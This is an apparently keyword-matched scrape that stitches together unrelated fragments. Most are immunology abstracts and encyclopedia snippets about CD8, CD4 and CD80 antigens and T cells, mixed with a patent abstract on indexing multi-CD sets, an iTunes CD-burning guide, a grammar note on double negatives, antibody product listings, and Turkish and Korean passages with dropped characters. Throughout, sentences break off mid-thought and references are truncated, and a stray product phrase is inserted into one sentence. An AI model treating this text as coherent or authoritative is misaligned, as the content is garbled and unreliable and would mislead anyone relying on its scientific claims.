As depicted in Fig. 3A, a clear upregulated pattern of expression of CD40, CD80 and CD86, but not CD40L, can be seen on the surface of CD11c+PDCA-1+. cells obtained from the LN. In contrast, we detect only the upregulation of CD40 on CD11c+PDCA-1+ splenocytes at day 10 after infection (Fig. 3B). In addition, we also stained LN and spleen cells for CD11c expression in conjuction with CD8α in addition to the activation markers CD40, CD40L, and CD86 at different times after infection. A limited pattern of upregulation of expression of Lumacaftor cell line CD86 can be seen on the surface of CD11c+CD8α+ cells collected from the LN or spleen on days 3-7 following infection (Fig. 4A and B). Similar analyses were also conducted for CD11C+CD8a− cells collected. from the spleen and LN, but we did not detect an upregulation of expression of the activation markers CD40, CD40L, CD80, or CD86 at any time point from 3 to 30 days in the spleen or LN (data not shown). To determine whether indeed ...
In advanced age, decreased CD8+ cytotoxic T-lymphocyte (CTL) responses to novel pathogens and cancer is paralleled by a decline in the number and function of naïve CTL precursors (CTLp). Although the age-related fall in CD8+ T-cell numbers is well established, neither the underlying mechanisms nor the extent of variation for different epitope specificities have been defined. Furthermore, naïve CD8+ T cells expressing high levels of CD44 accumulate with age, but it is unknown whether this accumulation reflects their preferential survival or an age-dependent driver of CD8+ T-cell proliferation. Here, we track the number and phenotype of four influenza A virus (IAV)-specific CTLp populations in naïve C57BL/6 (B6) mice during aging, and compare T-cell receptor (TCR) clonal diversity for the CD44hi and CD44lo subsets of one such population. We show differential onset of decline for several IAV-specific CD8+ T-cell populations with advanced age that parallel age-associated changes in the B6 ...
A method for updating detecting and loading CD volume indexes from a multiple-CD set to a cumulative volume table contained in a computer memory. The method employs an volume index file on each intermediate CD of the set along with a dual index file feature on the last CD of the set. The second index file on the last CD is a cumulative file of all the index files contained on all the CDs of the set. The cumulative index file on the last CD is compared to the cumulative volume table to generate a list of missing volumes which have not already been loaded into computer memory. The method permits determining whether a given CD is a single CD or a CD that is one of a multiple-CD set by detecting the presence of a second volume index file on the CD.
Ama : CD4+CD8+ ift pozitif T h creleri ( PT) ayr bir T h cre alt pop lasyonu olarak iki temel fenotip ile s n fland r lmaktad r: CD4y ksek CD8d k ve CD4d k CD8y ksek. Son y llarda, PT lerin enfeksiyonlar, t m rler ve otoimm n hastal klar n patogenezi ile ili kisi tan mlanm t r. Sa l kl bireyler aras nda referans de erleri bilinmemektedir. Bu nedenle, bu al man n amac , Kolombiya Bogota daki bir kan bankas ndaki sa l kl vericilerden al nan periferik kandaki PT ler i in bir referans de eri sa lamak ve bir y zey belirteci kullanarak aktivasyon durumunu belirlemektir ...
cd80 mouse anti human cd80 azide free | order cd80 mouse anti human cd80 azide free | How to use: cd80 mouse anti human cd80 azide free | support help for cd80 mouse
Adoptive cell transfer of tumor infiltrating lymphocytes has shown clinical efficacy in the treatment of melanoma and is now also being explored in other tumor types. Generation of sufficient numbers of effector T cells requires extensive ex vivo expansion, often at the cost of T cell differentiation and potency. For the past 20 years, IL-2 has been the key cytokine applied in the expansion of TIL for ACT. However, the use of IL-2 has also led to collateral expansion of regulatory T cells (Tregs) and progressive T cell differentiation, factors known to limit in vivo persistence and activity of transferred TIL. The use of alternative T cell growth factors is therefore warranted. Here, we have compared the effects of IL-2, -15 and −21 cytokines on the expansion and activation of TIL from single-cell suspensions of non-small cell lung cancer, ovarian cancer and melanoma. We applied the K562-based artificial APC (aAPC) platform for the direct and rapid expansion of tumor infiltrating lymphocytes isolated
Once you have created a playlist and have added the MP3 files in iTunes, you can easily create an audio CD, MP3 CD, or a Data CD. First, set preferences in iTunes from the iTunes menu, select burn and choose Audio CD, MP3 CD, or Data CD. For this assignment, choose Audio CD. Click the Burn button in the iTunes main window, insert a CD-R, and click the Burn button again. Enjoy!. Your audio CD should have:. ...
Human CellExp IL-2 R beta /CD122, human recombinant protein, IL2RB, RP5-1170K4.6, CD122, P70-75 validated in (PBV11014r-10), Abgent
Two negatives used together in a sentence constitute a double negative. The use of a double negative to express a positive is acceptable, although it yields a weaker affirmative than the simpler positive and may be confusing: Our results are not inconsistent with the prior hypothesis. More direct incentives have produced substantial changes in behavior in the past, although not without adverse consequences. Rheumatologic symptoms were not uncommon in both groups. However, it is not grammatically acceptable to use a double negative to emphasize the negative. In the following example, the double negative conveys the opposite of what is intended.The
"CD8 T-cell recognition of human 5T4 oncofetal antigen". International Journal of Cancer. 119 (7): 1638-47. doi:10.1002/ijc. ... "Attenuated recombinant vaccinia virus expressing oncofetal antigen (tumor-associated antigen) 5T4 induces active therapy of ... 5T4 is an antigen expressed in a number of carcinomas. It is an N-glycosylated transmembrane 72 kDa glycoprotein containing ... 5T4 is often referred to as an oncofetal antigen due to its expression in foetal trophoblast (where it was first discovered) or ...
"Identification of non-CSP antigens bearing CD8 epitopes in mice immunized with irradiated sporozoites." Vaccine. 2011 Oct 6;29( ...
"Recognition of cluster of differentiation 1 antigens by human CD4-CD8-cytolytic T lymphocytes". Nature. 341 (6241): 447-50. ... CD1+Antigen at the US National Library of Medicine Medical Subject Headings (MeSH) Mouse CD Antigen Chart Human CD Antigen ... CD1 antigens are expressed on cortical thymocytes, but not on mature T cells. This often remains true in neoplastic cells from ... They are related to the class I MHC molecules, and are involved in the presentation of lipid antigens to T cells. However their ...
White, Jason T.; Cross, Eric W.; Kedl, Ross M. (June 2017). "Antigen-inexperienced memory CD8+T cells: where they come from and ... When a recognized antigen binds to the T cell antigen receptor (TCR) located in the cell membrane of Th0 cells, these cells are ... Recognition by a naive T cell clone of its cognate antigen results in the initiation of an immune response. In turn, this ... von Essen MR, Kongsbak M, Schjerling P, Olgaard K, Odum N, Geisler C (April 2010). "Vitamin D controls T cell antigen receptor ...
2010). "RasGRP1 regulates antigen-induced developmental programming by naive CD8 T cells". J. Immunol. 184 (2): 666-76. doi: ... 2007). "SKAP55 modulates T cell antigen receptor-induced activation of the Ras-Erk-AP1 pathway by binding RasGRP1". Mol. ...
Macrophages and T lymphocytes demonstrated a marked expression of HLA-DR antigen. A delayed type hypersensitivity reaction of ... in xanthogranulomatous cholecystitis). Many T lymphocytes were identified by these authors positive to CD4 and CD8. ...
Both foreign and endogenous lipid antigens activate these cells. The TCR usually recognizes the hydrophilic part of the antigen ... CD8−), CD4+ or CD8+ and possess strong cytotoxic capabilities. Studies using CD1b tetramers presenting the mycobacterial ... Both groups recognize lipid antigens in contrast to the conventional peptide antigens presented on MHC class 1 and 2 proteins. ... Small hydrophobic antigens lacking a polar part have also been shown to activate CD1a-restricted T cells, indicating that in ...
There is usually a ratio of 0.1 to 0.5 for CD4/CD8. The macrophages present are mainly Mac387-, followed by CD68 and HAM56+. ... Majority of the antigen-presenting cells were Hofbauer cells (macrophages) were of foetal origin. Perivillous monocyte- ... Foetal macrophages in VUE proliferate and are activated as a result of the up-regulation of MHC class 2 antigen expression. ... The trafficking of maternal lymphocytes responding to an antigen in the chronic deciduitis could activate and enter via the ...
In the example of CD4 & CD8, these molecules are critical in antigen recognition. Others (e.g., CD135) act as cell surface ... The number of CD4 and CD8 T cells in blood is often used to monitor the progression of HIV infection. While CD molecules are ... Two commonly used CD molecules are CD4 and CD8, which are, in general, used as markers for helper and cytotoxic T cells, ... White Cell Differentiation Antigens. Oxford University Press. Knapp, W; et al. (1989). Leucocyte Typing IV. Oxford University ...
Priming of naïve T cells requires dendritic cell antigen presentation. Priming of naive CD8 T cells generates cytotoxic T cells ... Priming of antigen-specific naive lymphocytes occurs when antigen is presented to them in immunogenic form (capable of inducing ... Priming is the first contact that antigen-specific T helper cell precursors have with an antigen. It is essential to the T ... This activation of naive T cell is controlled by a variety of signals: recognition of antigen in the form of a peptide: MHC ...
"Class I-restricted cross-presentation of exogenous self-antigens leads to deletion of autoreactive CD8(+) T cells". The Journal ... "An in vivo cytotoxicity threshold for influenza A virus-specific effector and memory CD8(+) T cells". Journal of Immunology. ...
"Psoriatic arthritis joint fluids are characterized by CD8 and CD4 T cell clonal expansions appear antigen driven". Journal of ...
Both of those populations are able to induce CD8 T cell tolerance by the presentation of the endogenous antigens on MHCI ... Antigen-loaded iDCs migrate to the lymph nodes, secrete IL-10, TGF-β and present antigen to the naive T cells without ... On the other hand, LECs can serve as a self-antigen reservoir and can transport self-antigens to DCs to direct self-peptide- ... T-cells can be made non-responsive to antigens presented if the T-cell engages an MHC molecule on an antigen presenting cell ( ...
"TIGIT and PD-1 impair tumor antigen-specific CD8⁺ T cells in melanoma patients". J Clin Invest. 125 (5): 2046-2058. doi:10.1172 ... TIGIT and PD-1 has been shown to be over expressed on tumor antigen-specific (TA-specific) CD8+ T cells and CD8+ tumor ... T cell receptor Antigen GRCh38: Ensembl release 89: ENSG00000181847 - Ensembl, May 2017 GRCm38: Ensembl release 89: ...
... + and CD8+cells work together to cross-present antigen and communicate CD8+ activation. Cross presentation of XCR1+ CD8+ ... Kroczek RA, Henn V (2012). "The Role of XCR1 and its Ligand XCL1 in Antigen Cross-Presentation by Murine and Human Dendritic ... XCR1+ DCs specialize in cross-presentations of orally applied antigens. The integrin SIRPα is also a differentiating factor for ... which will make a population far more similar than the expression of CD4 or CD8. XCR1+ cells are dependent on the growth factor ...
Old discovered the LY-B antigen, later renamed CD8 in humans. CD8 cells, often referred to as "killer" T cells, are one of the ... defined the concept of cell-surface differentiation antigens with the discovery of TL, Lyt (CD8), and a range of other mouse ... First coined TL (for "thymus-leukemia" antigen in mice) then later as the Ly series (originally named Ly-A and Ly-B and later ... Discovery and naming of several members of the CT (cancer/testis) family of human tumor antigens, including New York-ESO-1 (NY- ...
The CD8 antigen, acting as a coreceptor, and the T-cell receptor on the T lymphocyte recognize antigen displayed by an antigen- ... The CD8 antigen is a cell surface glycoprotein found on most cytotoxic T lymphocytes that mediates efficient cell-cell ... Barber EK, Dasgupta JD, Schlossman SF, Trevillyan JM, Rudd CE (1989). "The CD4 and CD8 antigens are coupled to a protein- ... Sanders SK, Giblin PA, Kavathas P (1991). "Cell-cell adhesion mediated by CD8 and human histocompatibility leukocyte antigen G ...
CD8+ cytotoxic T cells: T cells displaying co-receptor CD8 are known as CD8+ T cells. These cells bind antigens presented on ... Basophils are chiefly responsible for allergic and antigen response by releasing the chemical histamine causing the dilation of ... Histiocytes Dendritic cells (Although these will often migrate to local lymph nodes upon ingesting antigens) Mast cells ... class II molecules on antigen-presenting cells. Helper T cells make cytokines and perform other functions that help coordinate ...
Barber EK, Dasgupta JD, Schlossman SF, Trevillyan JM, Rudd CE (May 1989). "The CD4 and CD8 antigens are coupled to a protein- ... CD1+Antigen at the US National Library of Medicine Medical Subject Headings (MeSH) Mouse CD Antigen Chart Human CD Antigen ... T cells displaying CD4 molecules (and not CD8) on their surface, therefore, are specific for antigens presented by MHC II and ... The antigen has also been associated with a number of autoimmune diseases such as vitiligo and type I diabetes mellitus. T- ...
The antigen-presenting cells (APC) expose on their surface a fraction of the antigen that is recognized either from CD8+T cells ... Barber EK, Dasgupta JD, Schlossman SF, Trevillyan JM, Rudd CE (May 1989). "The CD4 and CD8 antigens are coupled to a protein- ... The role of the Lck is less prominent in the activation or in the maintenance of memory CD8 T cells in comparison to CD4 T ... T cells are able to respond to pathogen and cancer using T-cell receptor, nevertheless, they can also react to self-antigen ...
Mdk is also a tumor antigen able to induce CD8 and CD4 T cell responses (Kerzerho et al. 2010 Journal of Immunology). Midkine ... "The Angiogenic Growth Factor and Biomarker Midkine is a Tumor-Shared Antigen". The Journal of Immunology. 185 (1): 418-423. doi ...
"Distinct Pathways of Antigen Uptake and Intracellular Routing in CD4 and CD8 T Cell Activation". Science. American Association ...
1989) The CD4 and CD8 antigens are coupled to a protein-tyrosine kinase (p56lck) that phosphorylates the CD3 complex. Proc. ... CD4, CD8 and the TcR/CD3 Complex: a novel class of protein tyrosine kinase receptor (1990) Immunology Today, 11, 400-406 ... In terms of immunology, the CD4- and CD8-p56lck complexes are now widely accepted as the initiators of the T cell activation, ... In particular, he made the seminal discovery that that CD4 and CD8 co-receptor molecules are linked to the p56lck src family ...
This molecule can bind MHC I, but, opposed to the function of CD8αβ, CD8αα reduces sensitivity of TCR towards antigens. Thus, ... CD8αα homodimer is an alternative isoform to classical CD8αβ heterodimer, which is expressed on conventional CD8 T-cells. CD8αα ... One subset of IELs typically express activation marker CD8αα and some IELs express CD8αβ+ marker (CD8αβ promotes TCR activation ... when recognizing MHC I, CD8αα functions as a repressor of activation. CD8αα can also recognize thymus leukemia (TL) antigen, ...
Surface display of antigens for improved antibody response. A smaller set of core peptides (5 peptides) combined with a list of ... Latest and most robust characterization of T cell response, especially CD8 (cytotoxic T cell). Improved solubility at ... an important cell type in the presentation of T cell antigens. The only difference between Generation 10 and Generation 11 ...
January 2013). "Regeneration of human tumor antigen-specific T cells from iPSCs derived from mature CD8(+) T cells". Cell Stem ... DC-like antigen-presenting cells obtained from human induced pluripotent stem cells can serve as a source for vaccination ... Thus, the ability to generate platelet products ex vivo and platelet products lacking HLA antigens in serum-free media would ... May 2013). "TAP-deficient human iPS cell-derived myeloid cell lines as unlimited cell source for dendritic cell-like antigen- ...
Li Y, Bleakley M, Yee C (August 2005). "IL-21 influences the frequency, phenotype, and affinity of the antigen-specific CD8 T ... Tumor-reactive antigen-specific CTL generated by priming in the presence of IL-21 led to a stable, 'helper-independent' ... These data and the fact that IL-21 stimulated CD8 or NK cells are able to inhibit HIV viral replication in vitro, show that ... Søndergaard H, Skak K (December 2009). "IL-21: roles in immunopathology and cancer therapy". Tissue Antigens. 74 (6): 467-79. ...
"CD8α+ dendritic cell trans presentation of IL-15 to naive CD8+ T cells produces antigen-inexperienced T cells in the periphery ... These are cells that have a memory phenotype but have not been exposed to a foreign antigen. They are classified as memory ... Haluszczak C, Akue AD, Hamilton SE, Johnson LD, Pujanauski L, Teodorovic L, Jameson SC, Kedl RM (February 2009). "The antigen- ... Akue AD, Lee JY, Jameson SC (March 2012). "Derivation and maintenance of virtual memory CD8 T cells". Journal of Immunology. ...
... antigen is a protein that in humans is encoded by the CD160 gene. CD160 is a 27 kDa glycoprotein which was initially ... Its expression is tightly associated with peripheral blood NK cells and CD8 T lymphocytes with cytolytic effector activity. The ... CD160+Antigen at the US National Library of Medicine Medical Subject Headings (MeSH) Human CD160 genome location and CD160 gene ...
Fassnacht M, Lee J, Milazzo C, Boczkowski D, Su Z, Nair S, Gilboa E (August 2005). "Induction of CD4(+) and CD8(+) T-cell ... responses to the human stromal antigen, fibroblast activation protein: implication for cancer immunotherapy". Clinical Cancer ...
T-cell progenitors may differentiate into naïve CD8+ cells or naïve CD4+ cells. Naïve CD8+ cells may then further differentiate ... Naive T cells, which are immature T cells that have yet to encounter an antigen, are converted into activated effector T cells ... CD8+ TC1 Cells These cells generally produce interferon gamma. Interferon gamma and IL-12 promote differentiation toward TC1 ... T-cell mediated immunity or T-cell immunity: activating antigen-specific cytotoxic T cells that are able to induce apoptosis in ...
세 번째, CD8 세포독성 림프구가 감염된 CD4+ T 세포를 인지하여 파괴. CD4+ T 세포의 수가 치명적인 수준 이하로 내려가면 세포매개성 면역이 상실되어 점차 기회감염에 쉽게 노출된다.[7] HIV가 AIDS로 진행되는 ... "HIV-1 Nef impairs MHC class II antigen presentation and surface expression". 》Proc. Natl. Acad. Sci. U.S.A.》 98 (21): 12144-9 ... CD8+ T세포가 제대로 기능을 하면 바이러스를 제거하지는 못해도 질병의 진전을 막고 보다 나은 예측을 가능하게끔 한다.[21] 급성감염기간 동안(바이러스 노출 후 보통 2~4주) 대부분의 감염자(80~90%)는 급성HIV감염 ... 바이러스 수가 증가하다 감소하고 CD4+ T세포 수 또한 감소하다 1 µL 당 800개 정도를 회복하기 때문에 (정상수치는 1 µL 당 1200개) CD8+ T세포의 활성화가 바이러스 수준을 조절하는 데 중요한 역할을 한다고 ...
Endogenous antigens are typically displayed on MHC class I molecules, and activate CD8+ cytotoxic T-cells. With the exception ... Exogenous antigensEdit. Antigen presentation stimulates T cells to become either "cytotoxic" CD8+ cells or "helper" CD4+ cells. ... Antigen presentationEdit. Main article: Antigen presentation. Acquired immunity relies on the capacity of immune cells to ... Endogenous antigensEdit. Endogenous antigens are produced by intracellular bacteria and viruses replicating within a host cell ...
"Revised nomenclature for antigen-nonspecific T cell proliferation and helper factors". Journal of Immunology. 123 (6): 2928-9. ... Održavanje ćelija za proizvodnju IL-17, pojačanje angiogeneze ali reducira infiltraciju CD8 T-ćelija ...
Leukocyte immunoglobulin-like receptor subfamily A member 3 (LILR-A3) also known as CD85 antigen-like family member E (CD85e), ... an inhibitory receptor expressed on effector and memory CD8 T cells) with their HLA ligands, thus modulating immune reactions ... and can bind human leukocyte antigen (HLA) class I. Therefore, if secreted, the LILRA3 might impair interactions of membrane- ... and dendritic cells involved in antigen processing". The Journal of Experimental Medicine. 185 (10): 1743-51. doi:10.1084/jem. ...
Ma LL, Spurrell JC, Wang JF, Neely GG, Epelman S, Krensky AM, Mody CH (November 2002). "CD8 T cell-mediated killing of ... 15 kDa plays other roles in immunological processes, such as in antigen-presenting cell maturation and in immune cell migration ... Krensky AM, Clayberger C (March 2009). "Biology and clinical relevance of granulysin". Tissue Antigens. 73 (3): 193-198. doi: ...
Pestano GA, Zhou Y, Trimble LA, Daley J, Weber GF, Cantor H. Inactivation of mis-selected CD8 T cells by CD8 gene methylation ... Boyse EA, Old LJ, Stockert E. An approach to the mapping of antigens on the cell surface. Proc Natl Acad Sci USA 1968;60:886. ... Hu D, †Ikizawa K, Lu L, Sanchirico ME, Shinohara ML, Cantor H. Analysis of regulatory CD8 cells in mice deficient in the Qa-1 ... J Exp Med 145: 1-9. Rao A, Ko WW, Faas SJ, Cantor H. Binding of antigen in the absence of histocompatibility proteins by ...
It may also function in antigen presentation[citation needed]. Alternative splicing occurs at this locus and two transcript ... "Differential expression of CD96 surface molecule represents CD8⁺ T cells with dissimilar effector function during HIV-1 ... It may also function in antigen presentation. Alternative splicing generates multiple transcript variants encoding distinct ... "Enhanced ADCC activity of affinity maturated and Fc-engineered mini-antibodies directed against the AML stem cell antigen CD96 ...
It functions as a Rho GTPase-activating protein (GAP). YopE acts as both a virulence factor and a protective antigen. In order ... Evidence also suggests that CD8 T lymphocyte cells mediate protection against Yersinia by production of cytokines (e.g., tumor ...
Huff WX, Kwon JH, Henriquez M, Fetcko K, Dey M (June 2019). "The Evolving Role of CD8+CD28− Immunosenescent T Cells in Cancer ... Natural killer (NK) cell cytotoxicity and the antigen-presenting function of dendritic cells diminishes with age. The age- ... Effros RB (April 2004). "Replicative senescence of CD8 T cells: effect on human ageing". Experimental Gerontology. 39 (4): 517- ... September 2014). "p38 signaling inhibits mTORC1-independent autophagy in senescent human CD8⁺ T cells". The Journal of Clinical ...
"Enhancing CD8 T-cell memory by modulating fatty acid metabolism". Nature. Springer Science and Business Media LLC. 460 (7251): ... "Checkpoint blockade cancer immunotherapy targets tumour-specific mutant antigens". Nature. Springer Science and Business Media ...
Every helper T-cell is specific to one particular antigen. Only professional antigen-presenting cells (APCs: macrophages, B ... and CD8+T cells improves secondary CTL expansion: It takes three to tango". European Journal of Immunology. 44 (12): 3543-59. ... Their main function is to process antigen material and present it on the cell surface to the T cells of the immune system. They ... Here they act as antigen-presenting cells: they activate helper T-cells and killer T-cells as well as B-cells by presenting ...
Rapid evolution of HIV-1 to functional CD8⁺ T cell responses in humanized BLT mice. Science Translational Medicine. 2012 Jul 18 ... including chimeric antigen receptor (CAR) T cell immunotherapy and gene editing approaches capable of protecting against HIV ...
CD8αα intraepithelial T lymphocytes in euthymic mice derive from very immature CD44+ thymocyte precursors". Mucosal Immunology ... "Response of naïve and memory CD8+ T cells to antigen stimulation in vivo". Nature Immunology. 1 (1): 47-53. doi:10.1038/76907. ... "Differential requirements for survival and proliferation of CD8 naïve or memory T cells". Science. 276 (5321): 2057-62. doi: ...
The TCR/peptide-MHC complex, formed when a T cell recognises its ligand on an antigen presenting cell (APC) and the T-cell-APC ... The tyrosine kinase Lck functions either in conjunction with a co-receptor molecule (CD4 or CD8) or as a free Lck kinase. The ... This results in the formation of close contact zones between the membranes of the T cell and antigen presenting cell (~15 nm ... antigen size determine the potency of T cell-mediated lysis by BiTE antibodies specific for a large melanoma surface antigen". ...
He research topic was on target antigens for autoantibody formation associated with primary biliary cirrhosis. Working as a ... "Selective expression of the interleukin 7 receptor identifies effector CD8 T cells that give rise to long-lived memory cells". ... and together with the large amounts of antigens in the food, the host immune system is continuously exposed to a myriad of ... foreign antigens. "Director Charles D. SURH named Scientist of the Year by Journalists". Institute for Basic Science. 30 ...
This anergy may be limited to Leishmania antigens or extend to mitogens and other antigens as the disease progresses. In ... 2014). "CD8 T Cell Exhaustion in Human Visceral Leishmaniasis". J. Infect. Dis. 209 (2): 290-99. doi:10.1093/infdis/jit401. PMC ... PBMC secretion of IL-10 without the addition of Leishmania antigen (endogenous) is inversely correlated with antigen specific ... Studies of Leishmania antigen specific T cell clones from cured patient PBMC confirm that cured patients have a mixed T cell ...
I. Partial characterization of soluble Ki-1 antigen and detection of the antigen in cell culture supernatants and in serum by ... It is a positive regulator of apoptosis, and also has been shown to limit the proliferative potential of autoreactive CD8 ... CD30+Antigens at the US National Library of Medicine Medical Subject Headings (MeSH) Human TNFRSF8 genome location and TNFRSF8 ... Josimovic-Alasevic O, Dürkop H, Schwarting R, Backé E, Stein H, Diamantstein T (Jan 1989). "Ki-1 (CD30) antigen is released by ...
In Lutzner cells, there is a mutation in the T-cell receptor that inhibits antigens like CD8 and CD7, but stimulates the over ... It binds to a specific antigen to initiate an immune response. T-cell antibodies bind to antigens such as virus infected cells ... Once this antigen is lost, the T-cell antibodies will never be able to detect the pathogen, allowing the pathogen to increase ... When a cutaneous lymphocyte antigen is expressed in the skin, the CD4+ Lutzner cell travels to the epidermis and dermis layers ...
Subtype α2 increases the expression of HLA-I molecules, which correlates with IFN-α-mediated activation of memory CD8 cells and ... and does not enhance HLA-I or tumor antigen expression. Despite its apparent inactivity, it is still used clinically in the ... increased cytolytic action against virally infected cells and tumor cells (via cytotoxic CD8 cells). Williams CD, Linch DC ( ...
Double negative (DN) T cells, as a progenitors with CD44 and CD25 expression but lack of CD4 and CD8 coreceptor expression, are ... So if TCR exhibit high or inappropriate affinity for the self antigen expressed on mTEC, the thymocyte will be destroyed. mTEC ... Aire mediates negative selection of auto-reactive T-cells and organ-specific antigens' expression on mTECs. The outcome of a ... Alexandropoulos, Konstantina; Danzl, Nichole M. (28 March 2012). "Thymic epithelial cells: antigen presenting cells that ...
The most efficient subset in TRA presentation and both modes of central tolerance was found to be CD8α+ thymic-derived DCs ( ... Antigen transfer in the thymus is the transmission of self-antigens between thymic antigen-presenting cells which contributes ... They rise extrathymically, and were shown to present self antigens, especially blood-borne antigens, in the thymus, which they ... acquisition via trogocytosis, how antigen transfer can be mediated. There is also an evidence, that antigen transfer and ...
"JAML promotes CD8 and γδ T cell antitumor immunity and is a novel target for cancer immunotherapy". Journal of Experimental ... reactive T-cells from being exposed to their antigens because of an epidermal skin barrier . More research is being done in ... T cells and IgE team up to prevent tumors JAML promotes CD8 and gamma 8 T cell antitumor immunity and is a novel target for ...
A mature T cell expresses only CD4 or CD8, but not both. This depends on the strength of binding between the TCR and MHC class ... Each T cell has a distinct T cell receptor, suited to a specific substance, called an antigen. Most T cell receptors bind to ... The MHC presents an antigen to the T cell receptor, which becomes active if this matches the specific T cell receptor. In order ... Some CD4 positive T cells exposed to self antigens persist as T regulatory cells. As the thymus is where T cells develop, ...
Those antibodies are e.g. targeted to CD2, CD3, CD4, CD5, CD8, NK1.1, B220, TER-119, and Gr-1 in mice and CD3 (T lymphocytes), ... Certain antibodies can be used to detect or purify cells with these markers by binding to their surface antigens. A standard ...
He demonstrated that it is bound to IL-15 R alpha on the surface of antigen presenting cells and presented in trans to T-cells ... Waldmann co-discovered the cytokine interleukin 15 (IL-15) and elucidated its role in the development of NK and CD8-memory T ... "Immunoglobulin gene rearrangement and cell surface antigen expression of acute lymphocyte leukemias of T-cell and B-cell ... "Redistribution, hyperproliferation, activation of natural killer cells and CD8 T cells and cytokine production during first-in- ...
Modular Three-Component Delivery System Facilitates HLA Class I Antigen Presentation and CD8(+) T-Cell Activation against ... Modular three-component delivery system facilitates HLA class I antigen presentation and CD8(+) T-cell activation against ... Here we present a nanoparticle delivery system that facilitates presentation of an immunogenic measles antigen specifically in ... Activation is dependent on the targeting peptide, previous antigen exposure, and utilizes a novel autophagy-mediated mechanism ...
Six antigens targeted by CD8 T cells from T. parva -immune cattle of different major histocompatibility complex (MHC) genotypes ... antigens and their MHC restriction elements. Nine epitopes in six T. parva antigens, together with their respective MHC ... Analyses of CD8 T-cell responses to five of the epitopes in groups of cattle carrying the defined restriction elements and ... Specific CD8 T-cell responses were detected in 19 of 24 immunized cattle. All responder cattle mounted responses specific for ...
Hepatitis B core antigen; HbeAg: Hepatitis B envelope antigen; HbsAg: Hepatitis B surface antigen; HBV: Hepatitis B virus; NTCP ... Priming of HBV-specific CD8+ CTL responses. Clinical trial: [165]. Phase IIb clinical trial: [164]. Phase III clinical trial: [ ... Hepatitis B core antigen; HBsAg: Hepatitis B surface antigen; HV: Healthy volunteer; LCMV:lymphocytic choriomeningitis virus; ... Antigen-specific T-cell responses; tarmogens elicited HBV-specific T-cell responses ex vivo in samples collected from HVs and ...
... they recognize antigen on parenchymal cells-presumably parasitized hepatocytes. Therefore, we report an unexpected dichotomy in ... These effector cells, however, no longer require bone marrow-derived antigen-presenting cells for protection; instead, ... We isolated naive Tg CD8 cells from SYVPSAEQI-specific CD8+ TCR-transgenic mice and calculated the proportion of tetramer+ CD8+ ... Ex vivo antigen-presentation assay.. We labeled purified naive transgenic CD8+ T cells with 0.6 μM CFSE using the Vybrant Cell ...
Fas/FasL Signaling Regulates CD8 Expression During Exposure to Self-Antigens.pdf ... DataSheet_1_Fas/FasL Signaling Regulates CD8 Expression During Exposure to Self-Antigens. .pdf (. 499.87 kB. ) ... DataSheet_1_Fas/FasL Signaling Regulates CD8 Expression During Exposure to Self-Antigens.pdf. ... Activation of self-reactive CD8+ T cells induces a peripheral tolerance mechanism that involves loss of CD8 expression. Because ...
These atypical lymphocytes (ie, Downey cells) actually are CD8 cytotoxic T cells. ... Antibodies against specific EBV antigens and a number of autoantibodies also are produced. ...
CD8 antigen, alpha chain * Interferon Type I * Membrane Proteins * Toll-Like Receptors ... During infection, Flt3l preferentially stimulates expansion of the CD8-α(+) dendritic cell subset or its BDCA3(+) human ... dendritic cell equivalent and has a substantial impact on the magnitude of T cell activation, mostly in the CD8(+) compartment ...
594 anti-human CD8 Antibody - CD8a is a 32-34 kD type I glycoprotein. ... Antigen References 1. Barclay N, et al. 1993. The Leucocyte Antigen FactsBook. Academic Press Inc. San Diego. ... CD8 acts as a co-receptor with MHC class I-restricted T cell receptors in antigen recognition and T cell activation and has ... Antigen Details Structure Ig superfamily, homodimer or heterodimer with CD8b, 32-34 kD Distribution Majority of thymocytes, T ...
... FENOGLIO, ... Among the different regulatory T lymphocyte (Treg) subpopulations, non-antigen-specific CD8CD28Treg (CD8CD28 Treg) have been ... Among the different regulatory T lymphocyte (Treg) subpopulations, non-antigen-specific CD8CD28Treg (CD8CD28 Treg) have been ... memory CD8 T lymphocytes. Interestingly, CD8CD28 Treg have been found to be resistant to the inhibitory effects of ...
The CIMT-monitoring panel: a two-step approach to harmonize the enumeration of antigen-specific CD8(+) T lymphocytes by ...
In both model systems, GITR levels on antigen-specific CD8 T cells were higher than on all other CD8 T cells, and GITRL-FP ... is an effective modulator of antigen-specific CD8 T cells. In a CT26 mouse tumor model, GITRL-FP promoted expansion of antigen- ... In contrast, in TC-1 tumor-bearing mice, GITRL-FP monotherapy could not prime an antigen-specific CD8 T cell response and was ... treatment with GITRL-FP resulted in an augmentation of the vaccine-induced antigen-specific CD8 T cells, the depletion of Tregs ...
CD8, also known as T8 and Leu2, is a member of the immunoglobulin superfamily found on the majority of thymocytes, a subset of ... Antigen References 1. Barclay N, et al. 1993. The Leucocyte Antigen FactsBook. Academic Press Inc. San Diego. ... CD8 acts as a co-receptor with MHC class I-restricted T cell receptors in antigen recognition and T cell activation and has ... Antigen Details Structure Ig superfamily, homodimer or heterodimer with CD8b, 32-34 kD Distribution Majority of thymocytes, T ...
Figure 1 CD8+ T-cell response to polyclonal antigen-independent stimulation. Frequencies of CD8+ T-cells positive for IFN-γ (A) ... CD8+ T-cell Response to Polyclonal Antigen-Independent Stimulation Is Maintained in the Study Population. Considering that ... CD8+ T-cells play a crucial role in the control of HIV replication. HIV-specific CD8+ T-cell responses rapidly expand since the ... Figure 2 Polyfunctional CD8+ T-cell response to polyclonal antigen-independent stimulation. (A) Pie charts represent the ...
"CD8 T-cell recognition of human 5T4 oncofetal antigen". International Journal of Cancer. 119 (7): 1638-47. doi:10.1002/ijc. ... "Attenuated recombinant vaccinia virus expressing oncofetal antigen (tumor-associated antigen) 5T4 induces active therapy of ... 5T4 is an antigen expressed in a number of carcinomas. It is an N-glycosylated transmembrane 72 kDa glycoprotein containing ... 5T4 is often referred to as an oncofetal antigen due to its expression in foetal trophoblast (where it was first discovered) or ...
CD4 Antigens * CD40 Antigens * CD68 antigen, human * CD8 Antigens * SPP1 protein, human ...
Lymph Node-Targeting Nanovaccine through Antigen-CpG Self-Assembly Potentiates Cytotoxic T Cell Activation.(Research Article) ... by Journal of Immunology Research; Health, general Antigens Immune response T cells Vaccines ... Soon after, [CD8.sup.+] T cell division commenced at a rapid rate (~6-8 hours per cell division). So the number of [CD8.sup.+] ... The [CD8.sup.+] DC maturation in lymph nodes facilitated their activation of adjacent [CD8.sup.+] T cells [30]. As shown in ...
